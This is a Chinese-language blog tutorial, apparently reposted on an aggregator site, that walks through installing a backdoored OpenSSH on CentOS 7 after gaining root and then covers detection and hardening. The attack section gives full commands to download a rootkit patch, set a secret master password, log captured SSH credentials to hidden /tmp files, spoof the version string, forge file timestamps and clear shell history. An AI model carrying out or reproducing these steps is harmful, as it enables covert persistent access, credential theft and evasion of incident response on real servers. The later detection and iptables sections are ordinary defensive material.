OpenSSH后门从入门到应急响应与加固

news2024/11/10 15:36:04

目录

1. Openssh与后门介绍

1.1 Openssh介绍

1.2  Openssh后门介绍

2. 实战演练

2.1 查看版本,注意V是大写的

2.2 下载SSH配置文件

2.3 安装

2.4、修改后⻔密码和⽂件记录

2.5、修改版本号为原本的版本号(伪装openssh)

2.6、修改/etc/ssh中的key

2.7、安装所需环境与配置源

2.8、伪造文件时间属性(访问和修改时间)

2.9、重启服务

2.10、验证是否好用

2.11.后门痕迹清除

3.应急响应与加固

3.1 应急响应

3.1.1查看ssh配置文件和/usr/sbin/sshd的时间

3.1.2 查看安全登录成功的ssh日志

3.1.3 strace监控sshd进程读写文件的操作

3.2 防御加固

3.2.1 重装openssh,更新到最新版本

3.2.2 将SSH默认端口改为其他端口

3.2.3 IPTable中添加SSH访问策略


1. Openssh与后门介绍

     当拿到root权限后,一般需要维持权限(留后门),可以创建一个openssh后门,也就是root双密码,管理员一个密码,我们的后门一个密码。下面是对Openssh与Openssh后门的介绍:

1.1 Openssh介绍

        OpenSSH 是 SSH(Secure Shell)协议的免费开源实现,它用于安全远程连接和计算机管理,通过加密技术保障通信安全。OpenSSH 的主要功能包括远程登录、命令执行、文件传输和端口转发等。它包含客户端和服务器两部分,客户端用于连接远程服务器,而服务器则在远程服务器上运行,接受客户端的连接请求。OpenSSH 最初是为 Linux 系统开发的,但现在也支持包括 Windows 和 macOS 在内的多种操作系统。

1.2  Openssh后门介绍

        是指在获取了系统权限后,攻击者通过修改或更新 OpenSSH 代码,截取并保存 SSH 登录账号和密码,或者留下一个隐形的后门,以达到长期控制服务器的目的。这种后门难以检测,因为它通常隐藏在正常的 SSH 服务之中,使得攻击者可以在不被发现的情况下访问系统。

2. 实战演练

本次测试的镜像环境为:Centos7系统

2.1 查看版本,注意V是大写的

ssh -V

    可以对ssh备份配置文件,可以对后期的文件时间进行修改,这里直接复制粘贴就行了,就是复制config文件,复制为备份

cp -p /etc/ssh/ssh_config  /etc/ssh/ssh_config.bak
cp -p /etc/ssh/sshd_config  /etc/ssh/sshd_config.bak

 

2.2 下载SSH配置文件

此处需要准备下面两个文件来完成

官网:http://www.openssh.com/

openssh-5.9p1.tar.gz (注意不要下载没有p1的文件,适配系统不同,下载错误后,后续打补丁会失败) openssh-5.9p1.patch.tar.gz

这里有个坑点:

  • openssh-9.0.tar.gz(适用于BSD)

  • openssh-9.0p1.tar.gz(适用于Linxu)我们使用的Centos7是linux的

# 通过阿里镜像站进行下载  
https://mirrors.aliyun.com/openssh/portable/openssh-5.9p1.tar.gz
# 后门文件下载地址
http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

2.3 安装

上传方法:中国蚁剑,远控工具Xshell,FinalShell工具等

这里我链接使用使用的是SSH远程连接,这里我是使用管理员进行连接,然后将文件上传到桌面

 

# 输入命令依次解压
tar -zxvf openssh-5.9p1.tar.gz
tar -zxvf openssh-5.9p1.patch.tar.gz

openssh-5.9p1.patch中的sshbd5.9p1.diff(后门文件)复制到openssh-5.9p1

# 这里可以通过远控工具手动复制过去,也可通过命令对应文件复制过去
cp ./openssh-5.9p1.patch/sshbd5.9p1.diff ./openssh-5.9p1/sshbd5.9p1.diff

如果没有安装path的话,通过下面的命令进行安装

yum -y install patch

openssh-5.9p1中执行打补丁(其实)

patch < sshbd5.9p1.diff

2.4、修改后⻔密码和⽂件记录

可以修改后门密码和记录文件,文件前面加 .相当于隐藏文件,也可以修改个隐蔽目录

openssh-5.9p1中执行下面的操作,当然用远控工具的话,直接打开文件修改更方便

# 1、编辑includes
vi includes.h
# 2、修改ILOG,OLOG,SECRETPW(这部分在文件的末尾,直接修改下面的#部分) 
int secret_ok;
FILE *f;
#define ILOG "/tmp/.ilog" # 记录登录到本机的登录凭证(可以改为较为隐蔽的路径,此例在tmp下创建隐藏文件)
#define OLOG "/tmp/.olog" # 记录本机登录到远程的的登录凭证
#define SECRETPW "xiaoyu" # 远程连接密码
#endif /* INCLUDES_H */

修改前

修改后,当然实战操作的时候,注释别加容易被识别出来

注意下面不要将 #后的注释内容加进去,不然会在编译时出现报错

2.5、修改版本号为原本的版本号(伪装openssh)

原则:修改为与我们刚才查看的版本信息一致,使其不易被发现。

ssh -V

vi version.h 
# 修改为当前OpenSSH的版本号
#define SSH_VERSION     "OpenSSH_7.4p1"

#define SSH_PORTABLE    "p1"

修改如图所示的版本信息,修改前

修改后

2.6、修改/etc/ssh中的key

对/etc/ssh⾥⾯的⼏个key的权限进⾏修改,否则进⾏编译的时候会因为key不能修改⽽报错。

chmod 620 moduli
chmod 600  /etc/ssh/ssh_host_ed25519_key
chmod 600  /etc/ssh/ssh_host_ecdsa_key
chmod 600  /etc/ssh/ssh_host_rsa_key

2.7、安装所需环境与配置源

 # 切换到安装文件所在路径
 cd /root/桌面/openssh-5.9p1
 # 在进行依赖安装之前,需要进行源的更换的
# 必备依赖刷一波,避免编译时出现各种坑爹问题
yum install -y openssl openssl-devel pam-devel

# 执行预编译
./configure --prefix=/usr --sysconfdir=/etc/ssh、make && make install

在安装必备依赖前需要更换的源为国内源,不然安装依赖会报错的

直接在系统中创建一个shell文件(choise-yuan.sh),然后通过增加运行权限

chmod +x choise-yuan.sh

./choise-yuan.sh # 执行shell

#!/bin/bash

# 定义颜色
RED='\033[0;31m'
GREEN='\033[0;32m'
BLUE='\033[0;34m'
NC='\033[0m' # 无颜色

# 定义YUM源选项
echo -e "${BLUE}请选择要更换的YUM源(默认使用阿里源):${NC}"
echo -e "${BLUE}1) 阿里YUM源: http://mirrors.aliyun.com/repo/${NC}"
echo -e "${BLUE}2) 163(网易)YUM源: http://mirrors.163.com/.help/${NC}"
echo -e "${BLUE}3) 中科大Linux安装镜像源: http://centos.ustc.edu.cn/${NC}"
echo -e "${BLUE}4) 搜狐的Linux安装镜像源: http://mirrors.sohu.com/${NC}"
echo -e "${BLUE}5) 北京首都在线科技: http://mirrors.yun-idc.com/${NC}"
read -p "请输入选项 [1-5] (默认1): " choice

# 根据选择设置URL
case $choice in
    2)
        repo_url="http://mirrors.163.com/.help/CentOS7-Base-163.repo"
        ;;
    3)
        repo_url="http://centos.ustc.edu.cn/CentOS-Base.repo"
        ;;
    4)
        repo_url="http://mirrors.sohu.com/help/CentOS-Base-sohu.repo"
        ;;
    5)
        repo_url="http://mirrors.yun-idc.com/CentOS-Base.repo"
        ;;
    *)
        repo_url="http://mirrors.aliyun.com/repo/Centos-7.repo"
        ;;
esac

# 备份当前的YUM源配置文件
if [ -f /etc/yum.repos.d/CentOS-Base.repo ]; then
    sudo cp /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.bak
    echo -e "${GREEN}已备份当前的YUM源配置文件到 /etc/yum.repos.d/CentOS-Base.repo.bak${NC}"
else
    echo -e "${RED}未找到 /etc/yum.repos.d/CentOS-Base.repo 文件,跳过备份步骤${NC}"
fi

# 下载选定的YUM源配置文件
sudo wget -O /etc/yum.repos.d/CentOS-Base.repo $repo_url
if [ $? -eq 0 ]; then
    echo -e "${GREEN}成功下载选定的YUM源配置文件${NC}"
else
    echo -e "${RED}下载选定的YUM源配置文件失败,请检查网络连接${NC}"
    exit 1
fi

# 清除YUM缓存并生成新的缓存
sudo yum clean all
sudo yum makecache

# 验证新的YUM源配置是否成功
sudo yum repolist -y
if [ $? -eq 0 ]; then
    echo -e "${GREEN}新的YUM源配置成功${NC}"
else
    echo -e "${RED}新的YUM源配置失败,请检查YUM源配置文件${NC}"
    exit 1
fi

# 下载并配置EPEL源
sudo wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo
if [ $? -eq 0 ]; then
    echo -e "${GREEN}成功下载并配置EPEL源${NC}"
else
    echo -e "${RED}下载EPEL源失败,请检查网络连接${NC}"
    exit 1
fi

echo -e "${GREEN}YUM源更换并配置EPEL源成功${NC}"

# 提示用户是否需要进行系统更新
read -p "是否需要进行系统更新(默认不更新)?[y/N]: " update_choice
if [[ "$update_choice" =~ ^[Yy]$ ]]; then
    sudo yum upgrade -y
    if [ $? -eq 0 ]; then
        echo -e "${GREEN}依赖包更新成功${NC}"
    else
        echo -e "${RED}依赖包更新失败${NC}"
    fi
else
    echo -e "${GREEN}跳过系统更新${NC}"
fi

预编译操作

出现下面的秘钥就是成功了

2.8、伪造文件时间属性(访问和修改时间)

(这部可加不可加,实战情况下加了更难进行排查)

# 将前面文件的时间属性改为后面的文件属性
touch -r /etc/ssh/moduli /etc/ssh.bak/moduli 
touch -r /etc/ssh/ssh_config /etc/ssh.bak/ssh_config 
touch -r /etc/ssh/sshd_config /etc/ssh.bak/sshd_config 
touch -r /etc/ssh/ssh_host_dsa_key /etc/ssh.bak/ssh_host_dsa_key 
touch -r /etc/ssh/ssh_host_dsa_key.pub /etc/ssh.bak/ssh_host_dsa_key.pub 
touch -r /etc/ssh/ssh_host_ecdsa_key /etc/ssh.bak/ssh_host_ecdsa_key 
touch -r /etc/ssh/ssh_host_ecdsa_key.pub /etc/ssh.bak/ssh_host_ecdsa_key.pub 
touch -r /etc/ssh/ssh_host_ed25519_key /etc/ssh.bak/ssh_host_ed25519_key 
touch -r /etc/ssh/ssh_host_ed25519_key.pub /etc/ssh.bak/ssh_host_ed25519_key.pub 
touch -r /etc/ssh/ssh_host_rsa_key /etc/ssh.bak/ssh_host_rsa_key 
touch -r /etc/ssh/ssh_host_rsa_key.pub /etc/ssh.bak/ssh_host_rsa_key.pub 
touch -r /usr/sbin/sshd /usr/sbin/sshd.bak 
touch -r /usr/sbin/sshd-keygen /usr/sbin/sshd-keygen.bak 

2.9、重启服务

systemctl restart sshd.service

如果出现运行命令后卡主了,也不用管,直接Ctrl+C终止就可以了

2.10、验证是否好用

后门密码登录,这里通过finalShell进行远程链接

或者通过ssh连接 ssh root@192.168.10.15 然后输入后门密码xiaoyu就成功了

        但是这里我发了一个这个后门的问题,通过直接登录是可以通过root用户登录的,但是通过ssh远程连接时,通过ssh远程链接的话是无法连接的

2.11.后门痕迹清除

touch -r 老文件时间戳 新文件时间戳

touch -r /etc/ssh/ssh_config.bak / etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.bak / etc/ssh/sshd_config

伪造文件时间属性

# 将前面文件的时间属性改为后面的文件属性
touch -r /etc/ssh/moduli /etc/ssh.bak/moduli 
touch -r /etc/ssh/ssh_config /etc/ssh.bak/ssh_config 
touch -r /etc/ssh/sshd_config /etc/ssh.bak/sshd_config 
touch -r /etc/ssh/ssh_host_dsa_key /etc/ssh.bak/ssh_host_dsa_key 
touch -r /etc/ssh/ssh_host_dsa_key.pub /etc/ssh.bak/ssh_host_dsa_key.pub 
touch -r /etc/ssh/ssh_host_ecdsa_key /etc/ssh.bak/ssh_host_ecdsa_key 
touch -r /etc/ssh/ssh_host_ecdsa_key.pub /etc/ssh.bak/ssh_host_ecdsa_key.pub 
touch -r /etc/ssh/ssh_host_ed25519_key /etc/ssh.bak/ssh_host_ed25519_key 
touch -r /etc/ssh/ssh_host_ed25519_key.pub /etc/ssh.bak/ssh_host_ed25519_key.pub 
touch -r /etc/ssh/ssh_host_rsa_key /etc/ssh.bak/ssh_host_rsa_key 
touch -r /etc/ssh/ssh_host_rsa_key.pub /etc/ssh.bak/ssh_host_rsa_key.pub 
touch -r /usr/sbin/sshd /usr/sbin/sshd.bak 
touch -r /usr/sbin/sshd-keygen /usr/sbin/sshd-keygen.bak 

清除操作日志

echo >/root/.bash_history //清空操作日志
# 同时不要忘了.log相关的记录日志的信息的文件也清除

3.应急响应与加固

        这里用我配置好的镜像环境为例,如何去应急和解决后门的问题,首先这里我用finalshell远程连接工具通过后门进行连接,方便后续的观察,后门密码为xiaoyu

3.1 应急响应

        如果已知为openssh后门的话,那基本上就是去重点观察整个openssh后门过程中修改的文件就可以了,如果不知道的话,也可以围绕着这个过程去进行应急响应

3.1.1查看ssh配置文件和/usr/sbin/sshd的时间

        重点检查文件其权限和修改时间,看是否有任何异常。如果 `sshd` 的修改时间与系统更新或维护时间不符,说明存在被未授权的的改动了

# 用于显示关于文件或文件系统的状态的详细信息
stat /usr/sbin/sshd

# 详细信息分别代表什么
文件大小:显示文件的总大小。
块大小:文件系统分配给文件的块的大小。
总块数:文件占用的块数量。
inode 号:文件的索引节点(inode)编号,每个文件在文件系统中都有一个唯一的 inode。
权限:显示文件的权限,例如是否可读、可写、可执行。
所有者和组:文件的所有者和所属组。
最后修改时间:文件内容上次被修改的时间。
最后访问时间:文件上次被访问的时间。
最后状态改变时间:文件的元数据(如权限或所有权)上次被修改的时间。

   当然除了时间的话还是不能够狠明显的判别的,因为就像前面的写的创建后门那样,攻击者可能会进行伪造文件的属性,这样就无法判别了,这时候我们就需要通过查看被常见修改的ssh配置文件以及配置文件的修改时间,或者查看攻击者是否有遗留的补丁或是文件

# 这里可以通过查看以下文件的最后一次被修改的时间
# 因为在后门文件编译过程中,如果对下面的文件进行权限的改动的话,基本确定为Openssh后门了
stat /etc/ssh/sshd_config
cat /etc/ssh/sshd_config
stat /etc/ssh/ssh_host_ed25519_key
stat /etc/ssh/ssh_host_rsa_key
stat /etc/ssh/ssh_host_ed25519_key

# 重点查看下面的文件,是否有没有被修改过,修改了什么
stat /root/桌面/openssh-5.9p1/includes.h
cat includes.h

stat /etc/ssh/sshd_config

cat /etc/ssh/sshd_config

stat /etc/ssh/sshhosted25519_key

stat /etc/ssh/sshhostrsa_key

stat /etc/ssh/sshhosted25519_key

这个文件需要找到安装openssh文件的位置进行查看,文件状态

stat /root/桌面/openssh-5.9p1/includes.h

cat /root/桌面/openssh-5.9p1/includes.h

openssh后门信息一般在文件的末尾写着

3.1.2 查看安全登录成功的ssh日志

# more的命令和cat类似都是查看文件,但是more是一行一行展示
# grep Accepted:grep是一个文本搜索工具,用于搜索包含指定模式的行。用它来搜索包含"Accepted"这个词的行。
# |:这是管道符,它将前一个命令的输出作为后一个命令的输入。
# "Accepted"通常出现在SSH服务成功认证并接受用户登录时的日志记录中,下面这个命令是用来查看所有成功的SSH登录尝试。
# 将每一行进行查看,并传入后面的过滤器中,最后将需要的成功登录的展示出来
more /var/log/secure | grep Accepted 

通过这条命令,可以进行查看可以登录的用户者的ip及其他信息,当然也有可能被攻击者清除日志

通过排查可疑ip与账号

3.1.3 strace监控sshd进程读写文件的操作

        通过strace监控sshd进程读写文件的操作,跟据前面的操作我们知道一般的sshd后门都会将账户密码记录到文件,可以通过strace进程跟踪到ssh登录密码文件。

通过下面的图片所示,存在一个可疑进程

ps axu | grep sshd | grep -v grep

# ps axu:这是一个进程状态(ps)命令的变体,用于显示当前运行的进程信息。(查找隐藏的jianc)
a 表示显示所有与终端会话无关的进程。
x 表示显示没有控制终端的进程。
u 表示以用户易读的格式显示进程信息,包括用户、PID、CPU占用率、内存占用率等。

|:管道符,它将前一个命令的输出作为后一个命令的输入。(就是将查找到的结果传输给下一条命令)

grep sshd:grep 进行过滤,查找存在sshd关键词的进程 查找与SSH守护进程相关的进程

grep -v grep:用于排除包含"grep"这个词的行。-v选项告诉grep命令反向选择,即排除匹配的行。这样做的目的是排除搜索结果中包含grep命令本身的行,因为当我们使用grep搜索"sshd"时,命令行本身也会包含"sshd"。 其实就是排查我们当前进行搜索的这条命令,因为当前操作也算含有sshd这个关键词的

 

strace -f -F -p 2171 -t -e trace=read,write -s 32 2> /root/桌面/sshd.log

# 通过strace进行跟踪ssh登录密码文件,通过运行下面的命令,然后命令行会卡主,等一会,然后自行Ctrl+C断开   
2171 是可疑进程的进程号
/root/桌面/sshd.log 这个根据个人可以替换
其中  -f 表示跟踪由 fork 调用产生的子进程,-F 表示跟踪 vfork 调用,-t 在输出中的每一行前加上时间信息,-e trace=read,write 表示只跟踪 read 和 write 系统调用,-s 32 设置字符串跟踪的最大长度。

 

# 这里的命令匹配值需要根据具体的情况进行更改
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /root/桌面/sshd.log
grep -E 'write\(6, ".+' /root/桌面/sshd.log
登录尝试完成后,检查 /tmp/sshd.log 文件,使用 grep 命令筛选出包含密码的行。
命令会搜索所有 read 系统调用,其中包含密码数据(通常密码会在内存中以 null 字符终止)。
命令会显示所有 write 系统调用的记录,但不会过滤或特定于密码输入。在实际的 sshd 日志中,密码输入通常不会以明文形式出现

根据上面的一些操作基本确认为openssh后门

3.2 防御加固

知道为openssh后门后,根据前面对后门的部署,我们知道其实就是对openssh打后门补丁,

3.2.1 重装openssh,更新到最新版本

只要将openssh对应的文件进行更新或是重装就可以了

3.2.2 将SSH默认端口改为其他端口

这个也是相同的原理,将端口改变后,原端口的连接会失效

3.2.3 IPTable中添加SSH访问策略

        IPTable 策略是一组规则,用于配置 Linux 内核的 Netfilter 防火墙,它控制着进出 Linux 系统的数据包。IPTable 策略定义了如何处理网络流量,包括允许、拒绝或修改数据包的行为。这些策略对于维护系统的网络安全至关重要,因为它们可以限制未经授权的访问、防止网络攻击和确保数据传输的安全。

        下面是一些可以参考的配置访问策略的操作,仅供参考,如果需要进行配置的话,还是需要你自己进一步学习操作的

# 1.允许本地回环接口:应该允许本地回环接口(lo)的流量,以确保本地服务的正常运行。
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
# 2.设置默认策略:通常建议将默认的链策略设置为 DROP,这意味着除非明确允许,否则所有流量都将被拒绝。
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP
# 3.允许已建立的和相关的连接:允许已建立的连接和相关的连接,以确保正在进行的通信不受影响。
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
# 4.允许 SSH 连接:允许特定 IP 地址或地址范围通过 SSH 端口(默认为 22)进行连接。你可以指定单个 IP 地址或使用子网掩码来指定一个 IP 范围。
iptables -A INPUT -p tcp --dport 22 -s 允许的IP地址 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -s 允许的IP范围/子网掩码 -j ACCEPT
# 5.拒绝其他 SSH 连接:在允许特定 IP 地址之后,可以添加一条规则来拒绝所有其他未授权的 SSH 连接。
iptables -A INPUT -p tcp --dport 22 -j DROP
# 6.允许外出 SSH 连接:如果你的服务器需要主动发起 SSH 连接到其他服务器,你还需要允许从服务器出去的 SSH 连接。
iptables -A OUTPUT -p tcp --dport 22 -j ACCEPT
# 7.保存 IPTable 规则:在 Debian 系的系统上,你可以使用 iptables-persistent 包来保存规则,使其在重启后依然有效。
sudo apt-get install iptables-persistent
sudo netfilter-persistent save
# 8.日志记录:为了安全审计和监控,你可以将可疑的 SSH 连接尝试记录到日志文件中。
iptables -A INPUT -p tcp --dport 22 -j LOG --log-prefix "SSH login attempt: "
# 9.备份规则
iptables-save > /etc/iptables.backup

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2134743.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【黑神话】无脑过大头怪(幽魂)教程,手残也能打过关!

在《黑神话悟空》这款扣人心弦的动作角色扮演游戏中&#xff0c;玩家将面对众多考验操作与策略的Boss战。其中&#xff0c;大头幽魂作为玩家早期就会遇到的挑战之一&#xff0c;其独特的战斗机制和技能组合&#xff0c;对新手玩家而言无疑是一次不小的考验。今天&#xff0c;就…

AI 场景下如何构建运维的标准化能力?SOMA 智能运维计划发布 | 2024 龙蜥大会

8 月 30 日&#xff0c;2024 龙蜥操作系统大会&#xff08;OpenAnolis Conference&#xff09;在北京盛大召开。 与此同时&#xff0c;由龙蜥社区运营委员会副主席、龙腾计划生态负责人金美琴&#xff0c;阿里云智能集团高级技术专家毛文安&#xff0c;云杉网络 VP 向阳联合出品…

Java--常见的接口--Comparable

String类型的compareTo方法&#xff1a; 在String引用中&#xff0c;有一个方法可以比较两个字符串的大小&#xff1a; 和C语言中是一样的&#xff0c;两个字符串一个字符一个去比较。 那么这个方法是怎么实现的呢&#xff1f; 其实就是一个接口&#xff1a;Comparable接口里…

阿里云rds数据迁移

记录一下rds数据同步操作,官方文档: 跨阿里云账号迁移RDS实例. 背景:不同阿里云账号的rds中指定数据库迁移. 操作说明: 使用阿里云数据传输服务产品,选择数据迁移.注意是从目标阿里云账号的rds中操作,按照文档操作基本上没有问题. 源阿里云账号设置如上. 需要注意的是需要从源…

有伸缩镜头也能实现IP68级防尘防水,Pura 70 Ultra兼顾时尚与便捷

在这个快节奏的时代&#xff0c;手机不仅仅是通讯的工具&#xff0c;更是我们日常生活中不可或缺的伙伴。它记录着我们的回忆&#xff0c;承载着我们的工作&#xff0c;甚至在紧急时刻成为我们的救星。然而生活中总有一些不可预测的时刻&#xff0c;比如突如其来的大雨&#xf…

【C++算法】分治——归并

排序数组 题目链接 排序数组https://leetcode.cn/problems/sort-an-array/description/ 算法原理 代码步骤 class Solution {vector<int> tmp; public:vector<int> sortArray(vector<int>& nums) {tmp.resize(nums.size());merge(nums, 0, nums.size…

腾讯元器初体验

文章目录 前言什么是腾讯元器&#xff1f;前端编程助手智能体搭建智能体效果智能体入口腾讯元器体验感受 前言 一个后端开发人员可能没有办法快速实现前端代码&#xff0c;此时&#xff0c;如果有一个工具可以根据界面设计或者描述生成前端代码&#xff0c;那么对于后端开发而…

Prometheus监控系统部署及应用

Prometheus 由 Go 语言编写而成&#xff0c;采用 Pu11 方式获取监控信息&#xff0c;并提供了多维度的数据模型和灵活的査询接口。Prometheus不仅可以通过静态文件配置监控对象,还支持自动发现机制,能通过KubernetesCons1、DNS 等多种方式动态获取监控对象。在数据采集方面,借助…

电脑录屏怎么录?录屏软件哪个好,推荐5个视频录制软件免费版!

在当今这个日新月异、高速发展的数字化时代&#xff0c;屏幕录制软件毫无疑问已经成为了我们日常工作和学习中至关重要、不可或缺的得力工具。随着信息技术的不断进步&#xff0c;人们对于信息传播和知识分享的需求日益增长&#xff0c;屏幕录制软件的重要性愈发凸显。无论是教…

OBD服务07--请求当前或上一个完成的驾驶周期中检测到的与排放相关的诊断故障码(DTC)

功能描述 此服务的目的是允许外部测试设备获取在当前或上一个完成的驾驶周期中检测到的“pending”诊断故障码&#xff0c;这些故障码与排放相关的组件/系统有关。服务0x07适用于所有DTC&#xff0c;并且独立于服务0x03。这些数据的主要用途是在车辆维修后和清除诊断信息后&am…

重学SpringBoot3-集成RocketMQ(一)

更多SpringBoot3内容请关注我的专栏&#xff1a;《SpringBoot3》 期待您的点赞&#x1f44d;收藏⭐评论✍ 重学SpringBoot3-集成RocketMQ&#xff08;一&#xff09; 环境准备1. 配置项目依赖2. 配置 RocketMQ 信息2.1配置文件2.2导入自动配置类2.3创建Topic 3. 生产者代码示例…

ERP进销存多仓库管理系统源码 带完整的安装代码包以及搭建部署教程

系统概述 ERP进销存多仓库管理系统是一款专为中小企业量身定制的集成化管理软件&#xff0c;它集成了采购管理、销售管理、库存管理、财务管理以及多仓库协同作业等核心模块。通过统一的平台&#xff0c;企业可以实时掌握商品从入库到出库的全过程&#xff0c;实现库存的自动化…

【OpenGL】OpenGL学习笔记(一):绘制三角形、初识VAO和VBO

文章目录 前言绘制目标 前言 最近开始研究用 QT 做开发来学习 OpenGL &#xff0c;想着别学完了就忘了&#xff0c;所以准备新开一个 OpenGL 专栏。开发环境已经搭好了&#xff0c;但是没弄教程&#xff0c;最近比较忙&#xff0c;暂时先把核心代码放过来&#xff0c;先开个草…

微信支付开发-需求整理及需求设计

一、客户要求 1、通过唤醒机器人参与答题项&#xff0c;机器人自动获取题目&#xff0c;用户进行答题&#xff1b; 2、用户答对题数与后台设置的一样或者更多&#xff0c;则提醒用户可以领取奖品&#xff0c;但是需要用户支付邮费&#xff1b; 3、用户在几天之内不能重复领取奖…

分布式新能源的能量管理

在新能源的概念下&#xff0c;可以将其定义为&#xff1a;新能源是指具有一定能量的清洁的可再生能源&#xff0c;它是一种新型的可持续发展的资源和能源。生物质能是借助各类绿色植物的光合作用实现能量转换。地热能主要来源于地球熔岩内部存在的天然热能&#xff0c;海洋能通…

Vue3项目打包报错-内存溢出解决方法

错误&#xff1a;FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory 1、安装cross-env和increase-memory-limit 命令行&#xff1a;npm install cross-env increase-memory-limit 2、package.json添加如下内容&a…

胤娲科技:一场前所未有的运维革命

嘿&#xff0c;朋友们&#xff0c;你们有没有想过&#xff0c;如果电信网络里突然来了位“超级大脑”&#xff0c;我们的生活会是啥样&#xff1f; 以前啊&#xff0c;网络一有点小情绪&#xff0c;运维小哥就得像侦探一样&#xff0c;层层抽丝剥茧找问题。但现在&#xff0c;大…

CMU 10423 Generative AI:HW1(编程部分:在GPT-2模型中实现RoPE、GQA)

完整代码和PDF笔记&#xff1a;https://github.com/YM2025/CMU_10423_2024S 文章目录 1 概述Rotary Positional Embeddings (RoPE)Grouped Query Attention (GQA)实验任务 2 项目文件1. requirements.txt2. input.txt3. chargpt.py4. mingpt/a. model.pyb. trainer.pyc. utils.…

从 Postgres 到 ClickHouse:数据建模指南

本文字数&#xff1a;7149&#xff1b;估计阅读时间&#xff1a;18 分钟 作者&#xff1a;Sai Srirampur 本文在公众号【ClickHouseInc】首发 上个月&#xff0c;我们收购了专注于 Postgres CDC 的 PeerDB。PeerDB 使得数据从 Postgres 复制到 ClickHouse 变得既快速又简单。Pe…

iceoryx共享内存通信

共享内存原理 当POSIX系统中的进程启动时,它会被赋予自己的虚拟地址空间。 虚拟地址空间跨越的范围对于不同的进程可能是相同的,但是在特定地址可访问的数据对于每个进程可能是不同的。 在进程的虚拟地址空间内,有许多“内存区域”用于加载或映射数据。这些内存区域通常是…